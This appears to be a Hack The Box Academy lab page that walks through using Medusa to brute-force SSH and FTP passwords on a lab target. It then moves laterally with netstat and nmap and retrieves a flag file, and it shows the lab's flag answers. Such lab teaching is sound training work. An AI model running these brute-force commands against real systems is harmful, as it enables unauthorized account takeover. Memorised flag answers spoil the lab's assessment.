

Web Services

In the dynamic landscape of cybersecurity, maintaining robust authentication mechanisms is paramount. While technologies like Secure Shell (SSH) and File Transfer Protocol (FTP) facilitate secure remote access and file management, they are often reliant on traditional username-password combinations, presenting potential vulnerabilities exploitable through brute-force attacks. In this module, we will delve into the practical application of Medusa, a potent brute-forcing tool, to systematically compromise both SSH and FTP services, thereby illustrating potential attack vectors and emphasizing the importance of fortified authentication practices.

SSH is a cryptographic network protocol that provides a secure channel for remote login, command execution, and file transfers over an unsecured network. Its strength lies in its encryption, which makes it significantly more secure than unencrypted protocols like Telnet. However, weak or easily guessable passwords can undermine SSH's security, exposing it to brute-force attacks.

FTP is a standard network protocol for transferring files between a client and a server on a computer network. It's also widely used for uploading and downloading files from websites. However, standard FTP transmits data, including login credentials, in cleartext, rendering it susceptible to interception and brute-forcing.

Kick-off

To follow along, start the target system via the question section at the bottom of the page.

We begin our exploration by targeting an SSH server running on a remote system. Assuming prior knowledge of the username `sshuser`, we can leverage Medusa to attempt different password combinations until successful authentication is achieved systematically.

The following command serves as our starting point:

```
Web Services
MisaelMacias@htb[/htb]$ medusa -h <IP> -n <PORT> -u sshuser -P 2023-200_most_used_passwords.txt
```

Let's break down each component:

- `-h <IP>`: Specifies the target system's IP address.
- `-n <PORT>`: Defines the port on which the SSH service is listening (typically port 22).
- `-u sshuser`: Sets the username for the brute-force attack.
- `-P 2023-200_most_used_passwords.txt`: Points Medusa to a wordlist containing the 200 most commonly used passwords in 2023. The effectiveness of a brute-force attack is often tied to the quality and relevance of the wordlist used.
- `-M ssh`: Selects the SSH module within Medusa, tailoring the attack specifically for SSH authentication.
- `-t 3`: Dictates the number of parallel login attempts to execute concurrently. Increasing this number can speed up the attack but may also increase the likelihood of detection or triggering security measures on the target system.

```
Web Services
MisaelMacias@htb[/htb]$ medusa -h IP -n PORT -u sshuser -P 2023-200_most_used_passwords.txt
Medusa v2.2 [http://www.fooofus.net] (C) JoMo-Kun / Fooofus Networks <jmk@fooofus.net>
...
ACCOUNT FOUND: [ssh] Host: IP User: sshuser Password: 1q2w3e4r5t [SUCCESS]
```

Upon execution, Medusa will display its progress as it cycles through the password combinations. The output will indicate a successful login, revealing the correct password.

Gaining Access

With the password in hand, establish an SSH connection using the following command and enter the found

[Cheat Sheet](#)[Go to Questions](#)

Table of Contents

Introduction

Introduction	✓
Password Security Fundamentals	✓

Brute Force Attacks

Brute Force Attacks	✓
Dictionary Attacks	✓
Hybrid Attacks	✓

Hydra

Hydra	✓
Basic HTTP Authentication	✓
Login Forms	✓

Medusa

Medusa	✓
Web Services	✓

Custom Wordlists

Custom Wordlists	✓
------------------	---

Skills Assessment

Skills Assessment Part 1	✓
Skills Assessment Part 2	✓

My Workstation

OFFLINE

[Start Instance](#)

∞ / 1 spawns left

password when prompted:

```
Web Services

MisaelMacias@htb[/htb]$ ssh sshuser@<IP> -p PORT
```

This command will initiate an interactive SSH session, granting you access to the remote system's command line.

Expanding the Attack Surface

Once inside the system, the next step is identifying other potential attack surfaces. Using **netstat** (within the SSH session) to list open ports and listening services, you discover a service running on port 21.

```
Web Services

MisaelMacias@htb[/htb]$ netstat -tulpn | grep LISTEN

tcp        0      0 0.0.0.0:22          0.0.0.0:*           LISTEN      -
tcp6       0      0 :::22              :::*                 LISTEN      -
tcp6       0      0 :::21              :::*                 LISTEN      -
```

Further reconnaissance with **nmap** (within the SSH session) confirms this finding as an ftp server.

```
Web Services

MisaelMacias@htb[/htb]$ nmap localhost

Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-05 13:19 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000078s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
```

Targeting the FTP Server

Having identified the FTP server, you can proceed to brute-force its authentication mechanism.

If we explore the **/home** directory on the target system, we see an **ftpuser** folder, which implies the likelihood of the FTP server username being **ftpuser**. Based on this, we can modify our Medusa command accordingly:

```
Web Services

MisaelMacias@htb[/htb]$ medusa -h 127.0.0.1 -u ftpuser -P 2020-200_most_used_passwords.txt -M ftp

Medusa v2.2 [http://www.fooofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 5
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 197
...
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ... Password: ... [SUCCESS]
...
GENERAL: Medusa has finished.
```

The key differences here are:

- **-h 127.0.0.1**: Targets the local system, as the FTP server is running locally. Using the IP address tells medusa explicitly to use IPv4.
- **-u ftpuser**: Specifies the username **ftpuser**.
- **-M ftp**: Selects the FTP module within Medusa.
- **-t 5**: Increases the number of parallel login attempts to 5.

Retrieving The Flag

Upon successfully cracking the FTP password, establish an FTP connection. Within the FTP session, use the **get** command to download the **flag.txt** file, which may contain sensitive information.:

```
Web Services

MisaelMacias@htb[/htb]$ ftp ftp://ftpuser:<FTPUSER_PASSWORD>@localhost

Trying [::1]:21 ...
Connected to localhost.
```

```
Connected to 10.10.10.10:21.
220 (vsFTPD 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||25926|)
150 Here comes the directory listing.
-rw----- 1 1001 1001 35 Sep 05 13:17 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||37251|)
150 Opening BINARY mode data connection for flag.txt (35 bytes).
100% |*****| 35
226 Transfer complete.
35 bytes received in 00:00 (131.45 KiB/s)
ftp> exit
221 Goodbye.
```

Then read the file to get the flag:

```
Web Services
MisaelMacias@htb[/htb]$ cat flag.txt
HTB{...}
```

The ease with which such attacks can be executed underscores the importance of employing strong, unique passwords.

 **Connect to Pwnbox**
Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

UK



130ms

 Terminate Pwnbox to switch location

Start Instance


∞ / 1 spawns left

Waiting to start...


☐ Enable step-by-step solutions for all questions  

Questions

Answer the question(s) below to complete this Section and earn cubes!

 Cheat Sheet

Target(s): [Click here to spawn the target system!](#)

+ 0  What was the password for the ftpuser?

HTB{n3v3r_u53_c0mm0n_p455w0rd5!}

55 / 100

+ 2 🏆 After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?

HTB{1_4m @_bru73_f0rc1n6_m4573r}

Submit

← Previous

Next →

Mark Complete & Next

Powered by  HACKTHEBOX

